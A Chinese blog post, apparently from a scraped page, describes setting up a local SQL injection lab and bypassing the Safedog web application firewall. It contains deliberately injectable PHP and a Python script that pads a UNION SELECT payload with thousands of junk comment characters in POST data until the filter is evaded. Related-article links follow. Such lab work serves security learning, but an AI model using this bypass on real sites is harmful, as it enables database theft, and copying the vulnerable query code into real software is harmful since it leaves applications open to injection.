搭建简单的sql注入环境

在test数据库中创建sqltest表,插入字段数据

编写存在注入的php文件

<?php

$id = $_REQUEST['uid'];

echo "您当前执行的sql语句为:" ;
echo "select * from sqltest where id=" . $id . "<br/>";
echo "<hr>"; $mysqli = new mysqli('127.0.0.1','root','root','test'); if(mysqli_connect_errno()){
printf("连接失败:%s<br>",mysqli_connect_error());
exit();
}
$mysqli->set_charset("utf8"); $result = $mysqli->query("select * from sqltest where id=$id");
//print_r($result->fetch_array(MYSQLI_ASSOC)); while(list($id,$username,$password)=$result->fetch_row()){
echo "用户ID:" . $id . "<br/>";
echo "用户名:" . $username . "<br/>";
echo "用户密码:" . $password . "<br/>";
} $result->close();
$mysqli->close();

或者老版写法

<?php

$id = $_REQUEST['uid'];

$conn = @mysql_connect('127.0.0.1','root','root');  //这里使用@符号屏蔽出错信息
mysql_select_db('test',$conn); $sql = "select * from sqltest where id=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:" . $row['id'] . "<br/>";
echo "用户名:" . $row['username'] . "<br/>";
echo "用户密码:" . $row['password'] . "<br/>";
} mysql_close($conn);
echo "<hr>";
echo "您当前执行的sql语句为:" ;
echo $sql; ?>  

执行看下结果

安装安全狗

服务器名解决方法来自https://blog.csdn.net/nzjdsds/article/details/93740686

httpd.exe -k install -n apache2.

如果要删除服务重新来,可以输下面这个,给你留着备用
sc delete apache2.

bypass测试

可以用0=0和'-'判断字符数字型

因为对于软waf,如果提交的数据量过多。就会直接扔到后端去处理

get不能提交过多的数据,所以用post写了个简单的python脚本,通过叠加无用的字符并检测是否绕过waf,我们的payload  1 /*无用的字符*/  union select user(),2

import requests
url = "http://192.168.41.129/index.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"
}
try:
for i in range(100,2999):
st = "/*"+"ABC"*i+"*/ union select user(),2,3"
data={
"uid":"1 %s " %st
}
print(i)
res= requests.post(url,headers=headers,data=data).text
print(data)
print(res)
if res.find("root")!=-1:
print(i)
break
except:
print('终止执行')  

我这里在2561时候可以注出数据

其实可以发现安全狗对于post的过滤不严,对于get的过滤比较严格

没有绕过的部分,都是返回500。应该是安全狗的post规则中的过滤。

而get类型中的规则的过滤地方不同。

可以看出对于post过滤不严,对于get过滤严格。

我这里测试可以通过2561个ABC绕过,放入burp中尝试

验证失败

然后我又加了很多ABC测试发现可以绕过

绕过成功,这个版本比文章中的版本更高点。仍然可以绕过。

最好在源码里加上header("Content-type:text/html;charset=utf8");  防止乱码

学习文章:

https://bbs.ichunqiu.com/thread-54014-1-1.html

bypass安全狗测试学习的更多相关文章

  1. phpunit测试学习 2 分类总结断言涉及哪些方面

    11:27 2015/12/9phpunit测试学习 2,  分类总结断言涉及哪些方面先推荐windows快速打开某处路径下的cmd,进入测试状态:可以在文件夹中,按住Shift+鼠标右键,这时候你就 ...

  2. phpunit测试学习 1:一点简单的扼要有用的东西的总结 一点入门认识

    16:45 2015/12/8phpunit测试学习 1:一点简单的扼要有用的东西的总结  一点入门认识 具体的入门安装和入门实践请参照文中的推荐博客或网上其他博客推荐博客,我感觉这几篇博客写得很不错 ...

  3. Web安全测试学习手册-业务逻辑测试

    i春秋作家:Vulkey_Chen 首先感谢朋友倾璇的邀请 http://payloads.online/archivers/2018-03-21/1 ,参与了<web安全测试学习手册>的 ...

  4. IntelliJ IDEA测试学习网站

    IntelliJ IDEA测试学习网站 http://idea.lanyus.com/  嗯,请支持正版:

  5. 文件上传bypass安全狗

    0x00 前言 本文首发于先知社区:https://xz.aliyun.com/t/9507 我们知道WAF分为软WAF,如某狗,某盾等等:云WAF,如阿里云CDN,百度云CDN等等:硬WAF,如天融 ...

  6. Mysql下Union注入Bypass安全狗过程

    文章转载于:http://www.0aa.me/index.php/archives/95/ 一次众测发现个注入,然后有安全狗就顺带看了下安全狗. 先fuzz看看安全狗拦截什么关键词union sel ...

  7. 【数学】【筛素数】Miller-Rabin素性测试 学习笔记

        Miller-Rabin是一种高效的随机算法,用来检测一个数$p$是否是素数,最坏时间复杂度为$\log^3 p$,正确率约为$1-4^{-k}$,$k$是检验次数. 一.来源     Mil ...

  8. LARK BOARD开发板试用第一篇-上电测试学习

    1. 先看下板子外观,做工很不错 2. 主芯片的型号是,SoC 为 Cyclone V SX 系列的 5CSXFC6D6F31,不仅在芯片中包含传统的 FPGA 架构,还集成了基于 ARM Corte ...

  9. Web安全测试学习笔记 - DVWA+PHP环境搭建

    DVWA(Damn Vulnerable Web Application),是一个用PHP编写的,作为Web安全测试练习平台的合法环境(毕竟咱不能为了练习就随便找个网站去攻击...),也就是俗称的靶场 ...

随机推荐

  1. linux bash吧,还有啥Bourne Again Shell

    linux bash吧,还有啥Bourne Again Shell bash吧,还有啥Bourne Again Shell 头部要写#!/bin/bash set -x #open script de ...

  2. 编译原理:DFA最小化,语法分析初步

    1.将DFA最小化:教材P65 第9题   解析: 2.构造以下文法相应的最小的DFA S→ 0A|1B A→ 1S|1 B→0S|0 解析: S→ 0A|1B →S → 0(1S|1)|1(0S|0 ...

  3. App压力稳定性测试之Monkey

    一.Monkey简介 Android系统自带monkey程序,模拟用户触摸屏幕.滑动Trackball.按键等操作来对设备上的程序进行压力测试,检测程序多久的时间会发生异常. Monkey的使用是在产 ...

  4. [bzoj]1059矩阵游戏<二分图匹配*匈牙利算法>

    题目链接:http://www.lydsy.com/JudgeOnline/problem.php?id=1059 初见此题,我觉得这是水题,我认为只要每一行和每一列至少存在一个黑格就可以出现对角线, ...

  5. python学习笔记--字符串格式化

    字符串和常量 print(r'hello\py\thon') r 代表后面字符不进行转义,原样输出; 表示常量,命名时变量名字大写代表常量.NAME = 'liulixue'; 字符串表示:' ', ...

  6. 微信小程序将外部数据从父组件中传入到子组件

    小程序组件开发遇到一个组件内嵌两个组件,而这两个子组件所使用的数据来自于同一个API,如下图所示. 如果这时候两个子组件各自导入同一个接口就会显得多余.另外的办法是由父组件导入接口数据,再从父组件将接 ...

  7. springboot-mybatis-oracle学习笔记

    前言 最近公司的项目是基于 oracle 数据库的,这里记录下 springboot+mybatis+oracle 的踩坑过程. 开发前准备 环境参数 开发工具:IDEA 基础工具:Maven+JDK ...

  8. MTK Android ListPreference的用法

    首先,我们明确,preference是和数据存储相关的. 其次,它能帮助我们方便的进行数据存储!为什么这个地方一定要强调下方便的这个词呢?原因是,我们可以根本就不使用,我们有另外的N种办法可以实现同样 ...

  9. C++值多态:传统多态与类型擦除之间

    引言 我有一个显示屏模块: 模块上有一个128*64的单色显示屏,一个单片机(B)控制它显示的内容.单片机的I²C总线通过四边上的排针排母连接到其他单片机(A)上,A给B发送指令,B绘图. B可以向屏 ...

  10. alg-最长回文字符串

    class Solution { public: std::string longestPalindrome(const std::string& s) { if (s.empty()) { ...